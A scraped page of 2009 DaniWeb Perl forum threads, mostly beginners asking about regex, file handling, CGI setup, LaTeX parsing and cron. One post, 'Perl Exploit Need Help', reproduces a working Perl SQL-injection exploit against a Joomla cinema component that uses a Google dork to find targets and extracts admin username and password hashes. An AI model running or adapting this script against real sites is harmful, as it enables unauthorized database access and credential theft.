DaniWeb IT Discussion Community - Perl

game question

rhodge09 — Fri, 20 Nov 2009 00:10:48 GMT

has anyone made a craps game just using PERL scripting?

Get the maximum matched string!!!

Vandithar — Wed, 18 Nov 2009 08:52:57 GMT

Hi,

I have a sentences like this:
I have words like this:

Example 1:

$string="control";



@arr= qw(Our data suggests that shape and growth control are unequally affected,The growth of tissue is control,The observed regulation is due to elevated levels in the blood,The sugar levels are in control and there is change in control of elevated levels in blood);

I want to retrieve the maximum matched sentence and that to be displayed first (For example in 4th sentence control ($string) is occurred twice. I want to display that sentence first and next the lesser occurrence)

Output should be like this:

The sugar levels are in control and there is change in control of elevated levels in blood

The growth of tissue is control

Our data suggests that shape and growth control are unequally affected

The observed regulation is due to elevated levels in the blood

How can i display maximum occurred word in that sentence as first and next the lesser?

To match a sentence i tried like this:

foreach $arr(@arr2)

    {

       if($arr=~/\b$string\b/i)

       {

           print "
matched
";

       }

   }

Similarly if i have string like this:
Example 2:

$string="shape,control,growth";

How can i get the maximum matched sentence in both cases i.e example 1 and example 2???

Any suggestions??

how to work cgi prgms on windows

pavan146 — Thu, 12 Nov 2009 18:46:39 GMT

hey can any1 pls tl me hw to work on cgi pgms on windows..m new to ds language,facin a prob durin connectin perl prog throu browser...hw to do dat

Match phone number

john_prince — Tue, 10 Nov 2009 17:52:52 GMT

Hi,

I am trying to match phone numbers, and want only having format xxx-xxxx.

Here is what i have written so far :

sub OfficePhoneNumber

{

my @numbers = @_;

my $number;

my @results;

foreach $number (@numbers)

{

if ($number =~ m/(^\d{3}-\d{4}$)/)

{

push @results, $number;

}

}



return @results;

} 



&OfficePhoneNumber "554-321,+1 302-342-2323";

Please suggest on this.

Thanks, John

Find and Rename directory

viktorijakup — Tue, 10 Nov 2009 15:22:28 GMT

Hi !

Sorry for my english !

My script must rename file name, but don't do it.

What is wrong with this script:

@rem = '--*-Perl-*--

@echo off

if "%OS%" == "Windows_NT" goto WinNT

perl -x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9

goto endofperl

:WinNT

perl -x -S %0 %*

if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl

if %errorlevel% == 9009 echo You do not have Perl in your PATH.

if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul

goto endofperl

@rem ';

#!/usr/bin/perl

use warnings;

use strict;

use File::Path;

use Cwd;

use File::Copy;

use File::Spec::Functions;

#hardcoded 

my $FP = 'D:\conv';

my $TP = 'D:\sgml_db';

#my $NAME = 'mmc1';

my ($from_file, $to_file) = ($ARGV[0], $ARGV[0]);

my $cwd = `cd`;

chomp $cwd;

my ($from_dir, $to_dir) = ($cwd, $cwd);

#rename file part

#$to_file =~ s/.*\.(.+)/$NAME.$1/;

my $some_file = (<$to_dir>)[0];

my ($prefix) = $some_file =~ m/(\d+_\d+_\d+)[^\\]*$/;

$to_file =~ s/^(\w+)(\d*)\.(\w+)$/"$prefix_" . uc($1) . ($2 || 0) . "_ESM.$3"/e;

#rename dir part

$to_dir =~ s/^\Q$FP\E/$TP/;

mkpath($to_dir);

copy(catfile($from_dir, $from_file), catfile($to_dir, $to_file)) 

    or die "can't copy file";

exit 0;



__END__

:endofperl

Replace a string in perl

Vandithar — Tue, 10 Nov 2009 10:18:03 GMT

HI,

I have a string like this. These are the set of phrases enclosed in double quotes:

$str="\"rna binding protein\" OR \"Transcription factor\" ";

I want to replace the string like this:

$str="\"rna|(rna) binding protein\" OR \"Transcription|(Transcription) factor\" ";

How can i replace the above string to the new string format?

I tried to use split function but could not get the desired output.

How can i get the output like this?

$str="\"rna|(rna) binding protein\" OR \"Transcription|(Transcription) factor\" ";

Regards
Vanditha

suggestions for writing automation script

klactose — Mon, 09 Nov 2009 04:58:03 GMT

Hello,

I have created a simple webservice and I am now in the testing mode. I am trying to write a simple script that will use curl to create user accounts and another one to delete user accounts.

I have tried to use system to send curl commands

my $cmd = "c:\\curl\\curl -X PUT -d \"user[email]=email$_\" "

 + "-d \"user[password]=pass$_\" "

 + "http://localhost:3000/site/users/user$_";

print "create user failed\n" if system($cmd);

I've also tried using backtick

$userResponses[$_] =

  `c:\\curl\\curl -u user$_ -X DELETE http://localhost:3000/site/users/user$_`;

BTW, I have been using curl to manually test the service because it supports all of the HTTP methods instead of just GET and POST.

Anyway, the problem I am running into is that I can't figure out a way to interact with curl to provide the required password after sending a command that requires authorization. Is there a way to do this?

Any help would be greatly appreciated. I am open to suggestions, including ones that that don't depend on curl.

Thanks!

matching and replacing workaround

derekn — Sun, 08 Nov 2009 16:25:11 GMT

I want to search "The tree is in the yard" for the word "the", then replace the word "the" with "the", which I currently do with "s/$searchstring/$searchstring/gi;" BUT I want to preserve the case of the word, so that in this example the first word of the sentence would be white, but would have the capital T preserved. How can I do this?

Thanks,
Derek

php coding

sen1978 — Sat, 07 Nov 2009 04:32:09 GMT

session_start();
//Check User Session
include ("includes/check_session.php");

include 'includes/config.php';
$current_module = 'MATERIALREQ';
//$related_modules = array('BIDDINGENTRY','PIRRAISING','POLIST','BIDDINGSELECTION','GRV');
include ('includes/check_acl.php');

//include 'includes/config.php';
include 'includes/sqlquery.php';
include 'includes/message.php';
$valid = '';

$current_user_id = $_SESSION['associate_id'];

//if the session value is present, set whether the last transaction is stored or not
if (isset($_SESSION['mrmsg']) && ($_SESSION['mrmsg']!=''))
{
$valid = $_SESSION['mrmsg'];
$last_mr_id = $_SESSION['last_mr_id'];
$_SESSION['mrmsg']=''; //clear it
$_SESSION['last_mr_id']=''; //clear it
}

if(!empty($_POST['hdn_total'])){
try {
begin();

if(!$acl['MATERIALREQ']['write']) throw new Exception("You don't have rights to do Material Request");

$valid = 'failure';
//$getVal['MRNo'] = mysql_real_escape_string($_POST['txtMatReqNo']);
$getVal['MRDate'] = mysql_real_escape_string(DBdate($_POST['txtMatReqDate']));
$getVal['PreperdBy'] = mysql_real_escape_string($_POST['cmbRequestedBy']);
$getVal['StoreNo'] = mysql_real_escape_string($_POST['cmbStoreID']);
$getVal['RequiredAt'] = mysql_real_escape_string($_POST['cmbRequiredAt']);
$getVal['Remarks'] = mysql_real_escape_string($_POST['txtRemarks']);

$getError = addMaterialReq($getVal);

if(!empty($getError)) throw new Exception($getError);

if(empty($getError)){
$getVal["MRNo"] = mysql_insert_id();
$hdnId = explode(",", $_POST['hdn_total']);
$count = count($hdnId);
$j=1;
for($i=0;$i<$count;$i++){
$getVal['ItemCode'.$j] = mysql_real_escape_string($_POST['ItemCode'.$j]);
$getVal['ItemName'.$j] = mysql_real_escape_string($_POST['ItemName'.$j]);
$getVal['Description'.$j] = mysql_real_escape_string($_POST['Description'.$j]);
$getVal['Quantity'.$j] = mysql_real_escape_string($_POST['Quantity'.$j]);

$getError = addMaterialReqItems($getVal, $i);
if(!empty($getError)) throw new Exception($getError);
$j++;
}
$valid = 'success';
}

$_SESSION['mrmsg'] = $valid;
$_SESSION['last_mr_id'] = $getVal["MRNo"];
commit();
//header("Location: materialrequest.php");
echo "";
}
catch(Exception $s)
{
rollback();
$errmsg = $s->getMessage();
myExceptionHandler($s);
$valid = false;
}
}
?>

MintHome

Material Request Screen

if($valid!='')
{
if($valid=='failure') $Msg = "FAIL";
if($valid=='success') $Msg = "SUCCESS";
if ($valid == 'success')
{
?>

".$last_mr_id."";?>

}
else if ($valid == 'failure')
{
?>

}
}
?>

$qry = "select ASSOCIATEID,ASSOCIATENAME FROM associatemst WHERE STATUS = 1";
$result2 = mysql_query($qry);
?>

$qry = "select STORENO,STORENAME FROM storemst WHERE STATUS = 1";
$result2 = mysql_query($qry);
?>

$qry = "select LOCATIONID,LOCATIONNAME FROM location WHERE STATUS = 1";
$result2 = mysql_query($qry);
?>

Material Request No		Transaction Date	>	Requested By
Store No		Required At

Remarks

Item Code

Item Name

Description

Unit

Quantity

Add Row

Raise Request

Edit

variable concat and exec cmd question

k2k — Fri, 06 Nov 2009 18:40:42 GMT

basically i need to have 2 variables.. concat them and put them into use.

here is what i have done so far:

#!/usr/bin/perl



$stats = ':/var/tmp/RtcTestHarness/currentTransactionStats.txt';

$console = ':/var/tmp/RtcTestHarness/TestHarnessConsole.log';



$client_1 = '9.34.120.36';



#$com = $client_1.$stats;

#print $com;         the concat here looks fine...

 

system ("scp $client_1.$currentTranStats .");

anything wrong? missing the usage of chomp?

LaTex::parser module problem

ajay_p5 — Fri, 06 Nov 2009 17:19:27 GMT

Hi everyone,

I am using this code to parse data from latex files :

#!/Applications/xampp/xamppfiles/bin/perl

use strict;

use File::Copy;

use LaTex::Parser;

use Text::CSV_XS;

use utf8;

use Unicode::String;



Unicode::String->stringify_as( 'utf8' ); # utf8 already is the default



  

 #see Ch 7.1 of Data Munging with Perl



 my $output = "ID+add.txt";



 open (LAT_LON_OUT_FILE, "> $output") or die "Couldn't open $output for writing: $!\n";

 binmode LAT_LON_OUT_FILE, ":utf8";





                        

    

#This routine is supposed to work in the dir where the .tar.gz files are

#It extracts each .tar.gz file into a temp directory

my $tdir = 'temp';

mkdir $tdir;



my @flist=<*.tar.gz>;                                   

chdir $tdir;

my $not_processed = 0; #Number of files that the script cannot process

my $number_of_papers = 0;

my $file_cat = " ";



#Go through all the .tar.gz files in current dir

foreach my $item (@flist)

{

    unlink glob "*.*";      #erase all files in dir $tdir                                                                                         

    

    #go through .tar.gz files and uncompress them

    copy "../$item", "$item";          #copy .gz file to temp dir ...

    print"$item\n";

    system "gzip -dnv $item";         #ungzip ...

    my $ftar = substr($item,0,-3);  #remove extension .gz ...

    print"$ftar\n";

    my $tar_error = system "tar -xm -f $ftar";  #and untar    

 

     #untar may not work if archive has only one file. In that case 

     #gzip gave already a tex file -just need to rename it.

     if ($tar_error)                         

     {        

         rename "$ftar", substr($ftar,0,-4).".tex";

     }

     else

     {

         unlink $ftar;       #tar file needs to be deleted, otherwise it will be in @textlist

     }

  

    

    # Let's extract the data of the corresponding ABS file first..



    my $file_ID = substr($ftar,0,-4);



    my $input_file = "../". $file_ID . ".abs";

    open (MYINPUTFILE, "$input_file") or die "Couldn't open $input_file for reading: $!\n"; # open for input

    my $file_content = "FILE: \n";

    while (  )

      {

        $file_content = $file_content . $_;

      }

        close(MYINPUTFILE);

        #$file_content =~ s/\n/\t/g;   #to make more clear where are the separators..

        # print "$file_content\n";sleep 5;

        $file_content =~ /\nDate:\s\S+,\s([^\n]+)\s\s\(/;

        my $file_date = $1;

    

        $file_content =~ /\nTitle:\s([^\n]+)/;

        my $file_tit = $1;



        $file_content =~ /\nAuthors:\s([^\n]+)/;

        my $file_auth = $1;



        $file_content =~ /\nCategories:\s([^\n]+)/;

        $file_cat = $1;



        

       



       

    

  

     #process TeX files. Note that some of the files had extension .tex whereas others had .latex or .txt

     #note that there is a problem in looking just for <*.*t*> -you also get .sty files, which are style files!

     my @texlist;

     my @texlist1 = <*.latex>;

     my @texlist2 = <*.tex>;

     my @texlist3 = <*.txt>;

    

     push(@texlist, @texlist1);

     push(@texlist, @texlist2);

     push(@texlist, @texlist3);

    

     my $valid_zip = 0;          #Is zip code valid?

     my @author;                 #Array with authors/addresses

     my $author_index = 0;   #Index into @author

     my $aux1 = 0;               #American-like post code detected?

     my $myflag = 0;

 

  print STDERR "test100......................\n";

   

     #Go through .TeX files in dir $tdir and assign @author

     foreach my $texfile (@texlist)

     {        

         #print LAT_LON_OUT_FILE "$ftar \n";



         my $l = new LaTeX::Parser 'file' => $texfile;

         

         printf("aaaa %s\n", $texfile);





 print STDERR "test100......................\n";

         my $p = $l->latex;

  print STDERR "test100......................\n";



         my $next_field = 0;              #if $next_field=1 then next field is author; $next_field=2 then next field is address

         my $ambiguous_field = 1;     #sometimes the author and address are ambiguous. Detect these.

      

  



         #Go through TeX fields in files and assign array @author

         for (my $i=0; $i<=$#{$p}; $i++)

         {

             

           my $authorfield = $p->[$i]; #contains LaTeX fields

           

            

             #Some author/address fields are empty others don't have a LateX field '{' -skip them

             next if (($next_field == 1 || $next_field == 2) && (!($authorfield =~ /\w/) || !($authorfield =~ /\{/)));

            

             #Assign author field]

             if ($next_field == 1 || ($authorfield =~ /\\large/i) || ($authorfield =~ /\\small/i)) 

             {

                 $author[$author_index] = "author: ".$authorfield;

                 $next_field = 0;

                 $author_index++;

                 $ambiguous_field = 0;   #We have detected an author field, so file is unambiguous

             }

            

             #Assign address field

             if ($next_field == 2)

             {

                 $author[$author_index] = "address: ".$authorfield;

                 $next_field = 0;

                 $author_index++;

                 $ambiguous_field = 0;   #We have detected an address field, so file is unambiguous

             }

            

             #next field to be read will be the author

             $next_field = 1 if (($authorfield =~ /\\aut(?:\w)+/) || ($authorfield =~ /\\large/i) || ($authorfield =~ /\\center/i) || ($authorfield =~ /\\small/i));

            

             #next field to be read will be the address

             $next_field = 2 if ($authorfield =~ /\\add(?:\w)+/) || ($authorfield =~/\\affi(?:\w)+/) || ($authorfield =~ /\\inst(?:\w)*/) || (($authorfield =~/\{\d\}/) and ($myflag == 1));



             #two fields after will be an address

             if ($authorfield =~/\\altaffiltext\s?/) { $myflag = 1;}

             #if (($authorfield =~/\{\d\}/) and ($myflag == 1)){ $myflag = 2;}

             if (($authorfield =~/\{([^=]+,+[^=]+)\}/) and ($myflag == 1)) {$myflag = 0;}

            

             #we are only interested in the header of the paper, so if you find abstract

             #and you have found author/address then end loop               

             last if ($authorfield  =~ /^\{abst(?:\w)+/ && !$ambiguous_field);            

         }

        

         #Skip files that do not have author/address

         next if ($ambiguous_field);    





      



         #Check zip codes

         my $author_only = 0;

         $aux1 = 0; my $aux2 = 0;

         $valid_zip = 0;

         foreach my $adr (@author)

         {        

           

        

             #Look for zip code if field is address or if there is no address field in the @author array

             #(in which case the address will be in the author field)            

             if ($adr =~ /address/ || !(grep {/address/} @author))

             {

                     

                      

                      print STDERR "test5......................\n";

                      #$adr =~ /address: \{([^=]+,+[^=]+)\}/;

                      $adr =~ /address: \{([^=]+,+[^=]+)\}/;

                      print STDERR "test6......................\n";

                      if($adr =~ /address: \{([^=]+,+[^=]+)\}/)  {

                                 

                                $adr = $1;

                                 print STDERR "test6......................\n";

                                 $adr =~ s/\n/ /g;

                                 #$adr =~ s/\\/ /g;  

                                 $adr =~ s/{//g;

                                 $adr =~ s/}//g;

                                 $adr =~ s/\.$//g;

                                 $adr =~ s/\s+/ /g;

                                 $adr =~ s/\\+\s*$//g;

                                     

                                 

                                 print STDERR "test4......................\n";

                                 #Let's check multiple adresses in a row..

                                 #if ( $adr =~ /\$\^\S+\$/){

                                 # These commands transform numbered separators into \instA. Further versions of the code could extract author-address relationship

                                   $adr =~ s/\$\^?\S+\s?\S*\$/\\instA/g;

                                   $adr =~ s/\\+\s?\d\./\\instA/g;

                                   $adr =~ s/\\+\s?\d\-/\\instA/g;

                                   $adr =~ s/\\+\s?\S\)/\\instA/g;

                                   $adr =~ s/\\+\s?\d\)/\\instA/g;

                                   

                                   print STDERR "test3......................\n";

                                 #These ones transform different usages of \and into \instA

                                   $adr =~ s/\\+\s?and\s?/\\instA/g;

                                   $adr =~ s/,?\sand\s?\\+/\\instA/g;

                                   $adr =~ s/\\newline/\\instA/g;

                                   $adr =~ s/;\s\\+/\\instA/g;

                                   $adr =~ s/,\\+/\\instA/g;

                                   $adr =~ s/\\medskip/\\instA/g;

                                   

                                

                                 if ( $adr=~/(\\inst)/ ){  # Separates multiple addresses linked by a \inst

                                   my $pos = rindex($adr, "\\inst");

                                   while ($pos > 0){

                                     my $resul = substr($adr,$pos+6);

                                     $resul =~ s/,?\s*\\\*s*\\\*s*\\*$//g;

                                     $resul =~ s/^\\,\s//g;

                                     $resul =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;

                                     $resul =~ s/[^\s]+\@[^\=]+//g;

                                     $resul =~ s/\\S+$//g;

                                     $resul =~ s/\\\s\\[^=]+$//g;

                                     $resul =~ s/\\+\s?\[\\affilskip\]\s*$//g;

                                     $resul =~ s/\,\s?$//g;

                                     $resul =~ s/\.$//g;

                                     $resul =~ s/\;$//g;

                                     $resul =~ s/\;\s+\S+\.\S+\.?\S*$//g;

                                     #$resul =~ s/\\+\s+\S+\.\S+\.?\S*$//g;

                                     $resul =~ s/\\+\s*$//g;

                                     if (length($resul) > 10) {print LAT_LON_OUT_FILE "$file_ID\t$file_cat\t$resul\n";}

                                     $adr = substr($adr,0,$pos); 

                                     $pos = rindex($adr, "\\inst", $pos+6);

                                      if (($pos == -1) and (length($adr) > 10)) {  #there is no \inst at the beginning. Print the remaining of the string and leave. 

                                      $adr =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;

                                     $adr =~ s/[^\s]+\@[^\=]+//g;

                                     $adr =~ s/\\+\s?\[\\affilskip\]\s*$//g;

                                     $adr =~ s/\\S+$//g;

                                     $adr =~ s/\\\s\\[^=]+$//g;

                                     $adr =~ s/\,\s?$//g;

                                     $adr =~ s/\.$//g;

                                     $adr =~ s/\;$//g;

                                     $adr =~ s/\;\s+\S+\.\S+\.?\S*$//g;

                                     #$adr =~ s/\\+\s+\S+\.\S+\.?\S*$//g;

                                     $adr =~ s/\\+\s*$//g;

                                     print LAT_LON_OUT_FILE "$file_ID\t$file_cat\t$adr\n";

                                      }

                                   }

                                 }





                                 else {

                                   $adr =~ s/(email|E-mail|e-mail):?\s*[^\s]+//g;

                                   $adr =~ s/[^\s]+\@[^\=]+//g;

                                     $adr =~ s/\\S+$//g;

                                     $adr =~ s/\\\s\\[^\=]+$//g;

                                     $adr =~ s/\\+\s?\[\\affilskip\]\s*$//g;

                                     $adr =~ s/\,\s?$//g;

                                     $adr =~ s/\.$//g;

                                     $adr =~ s/\;\s+\S+\.\S+\.?\S*$//g;

                                     #$adr =~ s/\\+\s+\S+\.\S+\.?\S*$//g;

                                     $adr =~ s/\\+\s*$//g;

                                     print LAT_LON_OUT_FILE "$file_ID\t$file_cat\t$adr\n";

                                  

                                 }

                               }

                                              

              }

         }

    

     }

                    

    

 }



close LAT_LON_OUT_FILE;

But I am getting an error...like this:
A \ Command I don't understand at /Applications/XAMPP/xamppfiles/lib/perl5/site_perl/5.10.0/LaTex/Parser.pm line 115.

Can sumbody sugest what could be the problem and the solution to it,
I am using XAMPP server, perl 5.10.1 and LaTex:: Parser module to do this. Thanks

Comparing a particular string present in two text files

ajay_p5 — Fri, 06 Nov 2009 02:41:13 GMT

Hi People

I need to compare a particular line in a file with a particular string in the other file. I am attaching both the files for your reference.
here is my code:

 open (INFILE, "$input") or die "Couldn't open $input for reading: $!\n";

  while()

   {

    my $line= $_;

    $line=~tr/\n//d;

    my($city,$country,$lan,$lat) = (split(/\t/))[0,1,2,3];

    push(@aj1,"$city");

    push(@aj2, "$country");

    push(@aj3,"$lan");

    push(@aj4,"$lat");

   }

   close(INFILE);

 my $arr_size = $#aj1;

open (OUTFILE, ">$output") or die "Couldn't open $output for writing: $!\n";

open (INFILE2, "<$input2") or die "Couldn't open $input2 for reading: $!\n";

   while()

   {

    my $lines=$_;

    #$lines=~tr/\n//d;

    print"$lines";

   my($jass,$author,$add) = (split(/\|/,"$lines"))[0,1,2];

   my $j=0;

       for(my $i=0;$i<=$arr_size;$i++)

        {

          my $country1=$aj2[$i];

          my $city1=$aj1[$i];

            if(($add=~m/$country1/) && ($add=~m/$city1/))

             {

             if($j==0)

             {

             #print"$j";

               $j=$j+1;

              print OUTFILE"$lines|";

                      print OUTFILE"$aj1[$i]|";

              print OUTFILE"$aj2[$i]|";

              print OUTFILE"$aj3[$i]|";

              print OUTFILE"$aj4[$i]\n";

            }

           }

      }

           if ($j==0)

           {

              for(my $k=0;$k<=$arr_size;$k++)

                {

                 my $countr=$aj2[$k];

            if($add=~m/$countr/ && $j!=1)

             {

               $j=$j+1;

                     print OUTFILE"$lines|";

                      print OUTFILE"|";

              print OUTFILE"$aj2[$k]|";

              print OUTFILE"0|";

              print OUTFILE"0\n";

           }

         } 

       }

     }   

 close(INFILE2);

 close(OUTFILE);

exit;

Now what I want in the output file is that it should take the first line of the address file , print it like that and wherever it finds the matching city and country from the city_lan.txt file it shud print it afterwards sumwhat like this:
1.1.2|1. Giorgio Brajnik 2. Marji Lines |1. Dipartimento di Matematica e InformaticaUniversità di Udine Udine Italy Italy 2. Dipartimento di Scienze StatisticheUniversità di Udine Udine Italy 33100 Italy |Udine|Italy|78|87

The problem is when i am printing $lines of input file 2 it is terminating at 2.3.3 and giving an error like this:
Quantifier follows nothing in regex; marked by <-- HERE in m/? <-- HERE stanbul / at "filename" line 39, line 46, why am i not able to read the whole data .what is the problem..can sumbody help??

Attached Files

	address_out.txt (78.8 KB)
	city_lan.txt (7.2 KB)

Need help with configuring premade perl form script

wonderland — Thu, 05 Nov 2009 17:17:10 GMT

Hi,

I wan't to add simple web form to my page. name, e-mail, comment, so I started poking around internet and found out about CGI. I put premade cgi.(pearl) script in cgi-bin folder on server and adjusted form for that script:

When I tested out my form , i got this error: Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, [no address given] and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log. Apache/2.2.8 (Ubuntu) DAV/2 SVN/1.4.6 PHP/5.2.4-2ubuntu5.7 with Suhosin-Patch mod_ruby/1.2.6 Ruby/1.8.6(2007-09-24) mod_ssl/2.2.8 OpenSSL/0.9.8g Server at rags.lv Port 80

I suppose there is something wrong with pearl file config. and since I'm not very competent outside html/css I need some help.

I'm using this scripit : FormMail

any help mucho macho appreciated :p

module caching in mod_perl

shoola — Thu, 05 Nov 2009 15:36:53 GMT

I'm using mod_perl

it seems I have to restart apache every time I modify one of my modules.
is there a way around this so that the modified module will load without restarting apache?

HTML #Include file not loading

pbassett — Wed, 04 Nov 2009 22:41:48 GMT

I have a .cgi file that reads POSTed data from an HTML questionnaire Form and displays HTML that lists all the scholarships the person may qualify for. I want to Include a file with CSS and a Header image. Unfortunately none of this is taking effect, only the list of scholarships that are not in the Font I want.
If you take the quiz at http://www.solotraveller.com/new%20s...ionnaire.shtml and answer anything Yes you will see the (undesirable) results.

The HTML (below) that the .cgi file generates, when saved to an .shtml file, renders the way I want. The page is http://www.solotraveller.com/New%20S...testlist.shtml

Can someone let me know why the .cgi does not load the Include file correctly?
Thanks!

	DeVry High School Scholarship
	Dean's Scholarship
	Transfer Scholarship

Visual Basic.Net Data types

oluscoa — Wed, 04 Nov 2009 20:04:39 GMT

Using Visual Basic .Net, explain what each variable type listed below holds, how big it is (i.e. the number of bytes it uses) and give an example of how it might be used.

Data Type Explanation space occupied Example

Text
Integer
Floating point
Byte
Date
Boolean

Code Snippet Need help writing a perl script to parse multiple files

mitzoff — Mon, 02 Nov 2009 11:05:04 GMT

I'm new to perl and I'm writing a script to parse multiple Gaussian03 output files and extract certain pieces of data from them.

Ideally the script needs to print out the name of each file, look for (the last) SCF Energy, the Zero-point Energy and check if the job has converged (i.e. in the file the word 'YES' will appear with some other text on four consecutive lines).

So far the script prints out the filenames and the words "Energy =" and "Zero-point energy =" but without the values it is meant to insert. I've tested this with another script and it does print out the correct values, so I'm not sure why it's not working here.

Any help would be greatly appreciated.

Here is what I've been able to write so far:

Please recommend a good "file upload" module

shoola — Sun, 01 Nov 2009 15:01:24 GMT

there are so many here:

search.cpan.org/search?query=upload&mode=module

which one do you use?

including cfg in perl script; CMU Sphinx

johnyjj2 — Sat, 31 Oct 2009 11:50:56 GMT

Hello :-)!

I installed Ubuntu in order to install CMU Sphinx (http://www.speech.cs.cmu.edu/sphinx/tutorial.html). There is one problem with executing perl script and I think it is good place to ask for help. Script make_feats.pl is here http://www.linuxforums.org/forum/att...e_feats.pl.txt . When I run "perl scripts_pl/make_feats.pl -ctl etc/an4_train.fileids" I see "Configuration (e.g. etc/sphinx_train.cfg) not defined. Compilation failed in require at make_feats.pl line 43. BEGIN failed--compilation aborted at make_feats.pl line 43". I found sphinx_train.cfg in two directories: /home/mainacc/tutorial/SphinxTrain/etc and /home/mainacc/tutorial/an4/etc. It looks like I simply need to define directory where sphinx_train.cfg is stored in the perl script. However I have never created any perl script, I guess it should be simple thing. How to define this directory in make_feats.pl? I found similar topic here http://www.voxforge.org/home/forums/...-in-sphinx-6/7 but it doesn't help me.

Greetings :-)!

Issue with Cron and Perl Script Variables

skelly16 — Fri, 30 Oct 2009 15:59:23 GMT

Hi All

Im very new to perl scripting coming from a shell background, but im determine to stick to it and learn perl.

I have env variables which i have defined in my perl script and work fine from command line as these env variables are in my profile. When i get cron to run the script i dont believe these variables are being used and causing my script to not pull back data.

[
#!/usr/bin/perl -w
#
#
use strict;

$ENV{'AUTOSYS'} = "/opt/autosys/P22";
$ENV{'AUTOSERV'} = "P22";
$ENV{'AUTOTREE'} = "/opt/autosys";
$ENV{'AUTOUSER'} = "/opt/autosys/P22/autouser";
]

Any guidance or help would be most appreciated.

[PROBLEM] inverting a list

jacquelinek — Fri, 30 Oct 2009 03:59:56 GMT

I have a list like this:

name1: group1
name2: group4
name3: group1 group2
name4: group4
..........
..........

I wish to invert this list, and make it look like:

group1: name1 name3...
group2: name3
group4: name2, name4
...........
...........

Can somebody offer at least a psuedo code?
Thanks

CPAN Perl module Installation Problem on Mac

ajay_p5 — Thu, 29 Oct 2009 02:24:14 GMT

Hi everyone

Well I have been trying to install some modules like Bundle::DBI, DBD ::mysql and latex::Parser on my apple comp running mac OS X operating system.
Every time I am trying to install a module I get an error like this :

make had returned bad status, install seems impossible

I have XAMPP installed as the server which has a perl5.10.0.

I have few questions and hope to get a suggestion on how to install these modules:
1) Thus installing xampp is conflicting the default installation of perl on mac as when i type perl -v i see perl 5.8.8.

2) How can I change this to 5.10.0 or using the default version is fair enough.

Thanks
Aj

Perl regex

riya0707 — Wed, 28 Oct 2009 03:34:30 GMT

I am a perl beginner and need some help with regex
Input for this code is :
aatgatgataaggtaaggtatgatgatgatgatgatagtagannnnnnnnnatgcatga'/atgca.atgactagca/atgactagcaaggtaaggtaaggtaaggtaaggtatgatgatgannnn./atgatgactagactgacaaggtaaggtaaggtatgatgatgatcgatgacgat... and so on

Here i am trying to assign input file as a scalar variable and trying to find a match of "aaggtaaggt" and then skip some 100 characters whether they are alphabets or symbols or any wildcard characters after skipping exact 100 characters, i am again asking code to start search for match again and every time it finds a match , i am counting and asking to print..

As of my knowledge i have tried using substr of match as pos1 and had set offset for 100 and then assigned that as initial pos for reading second match , but failed to get the correct output, then tried here post match as $' but doubt whether it is correct or not.

#!/usr/bin/perl
$count1 = 0;
open (FILE, "INPUT") || die "cannot open $!\n";
while ($line = ){

if(($line=~m/(aaggt){2}/ig)&&($'=~m/([atgcn]{100,})/i)) {
$count1 ++ ;
print " " ,$1, "\t";
print "count1 \t " ,$count1 , "\n" ;
}

}

Please, help me figuring out this task. Thanks

search an array for strings

notuserfriendly — Mon, 26 Oct 2009 08:11:48 GMT

basically i am trying to search for similar strings in an array which is hardcoded into the script and compare them to and find the line they exist on the text file
here is my code so far

#!/usr/bin/perl

%fruit=(banana=>1,apple=>2,orange=>5);

$target = %fruit;



open(INPUT, "


while () {

     if (/$target/) {

         print "Found $target on line $.";

     }

}

close(INPUT);

I have attached the file which i am to search .

Attached Files

fruits.txt (327 Bytes)

Perl Exploit Need Help

suki_boy — Sat, 24 Oct 2009 19:28:14 GMT

Hi All,Im a newbie in Perl Coding,and i just cant get this to work it says error compiling

This is an Exploit for Hacking Joomla com_cinema
Heres the Code

#!/usr/bin/perl -w





#Joomla Component Cinema 1.0 Remote SQL Injection #

########################################

#[~] Author : **RoAd_KiLlEr**

#[~] Greetz : Ton![W]indowS,KHG,ALBOZ-CREW,B3r0-G & All Muslims

#[~] Google_Dork: allinurl: "com_cinema"

########################################



system("color FF0000");

print "\t ###############################################################\n\n";

print "\t #       C0ded By: **RoAd_KiLlEr** From Alboz-Crew             #\n\n";

print "\t ###############################################################\n\n";

print "\t # - Joomla Component Cinema 1.0 Remote SQL Injection Vuln   #\n\n";

print "\t # - Google-Dork: allinurl: "com_cinema"                      #\n\n";

print "\t # - Alboz-Crew.Net                                                     #\n\n";

print "\t # - Cod3d by : **RoAd_KiLlEr*                                  #\n\n";

print "\t ###############################################################\n\n";

use LWP::UserAgent;

print "\nTarget page:[http://wwww.localhost/pathdir/]: ";

chomp(my $target=);

#Column Name

$c_n="concat(username,0x3a,password)";

#Table_name

$t_n="jos_users";

$U="-9999+UNION+SELECT+";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";

$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_cinema&Itemid=**RoAd_KiLlEr**&func=detail&id=".$U."1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,".$c_n."+from/**/".$t_n."+--+";

$res = $b->request(HTTP::Request->new(GET=>$host));

$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){

print "\n[+] Admin Hash : $1\n\n";

print "# Veprimi mbaroi me sukses(Congratulations)! #\n\n";

}



else{print "\n[-] Veprimi Deshtoi (Not Found)...\n";

 }

Thank You :P

Perl DBF file doubt

arun10427 — Sat, 24 Oct 2009 18:52:32 GMT

Hi all,

I am a perl newbie. I am using a perl code to read a column full of data from 1 field into an array

for(my $i=2;$ilast_record;$i++)

my @data = $table->get_record($i,"Date");

Now for example if my @data[1] consists of list of numbers, I need to find the diff between current record and prev record till it reaches the end of array.. Perl has such complex way of array accessing, I donno how to do $data[$i]-$data[$i-1].

Perl

wannagethelp — Fri, 23 Oct 2009 14:59:36 GMT

Hallo everyone
im starting to learn perl and i have a problem , i have an exercise asking me to count all the letters each apart in a DNA string , for example
my @DNA =( ctagctagcatgacgatacatgacagataggatacagatagacagatacagatacagatacagatagacccatgacagatac)
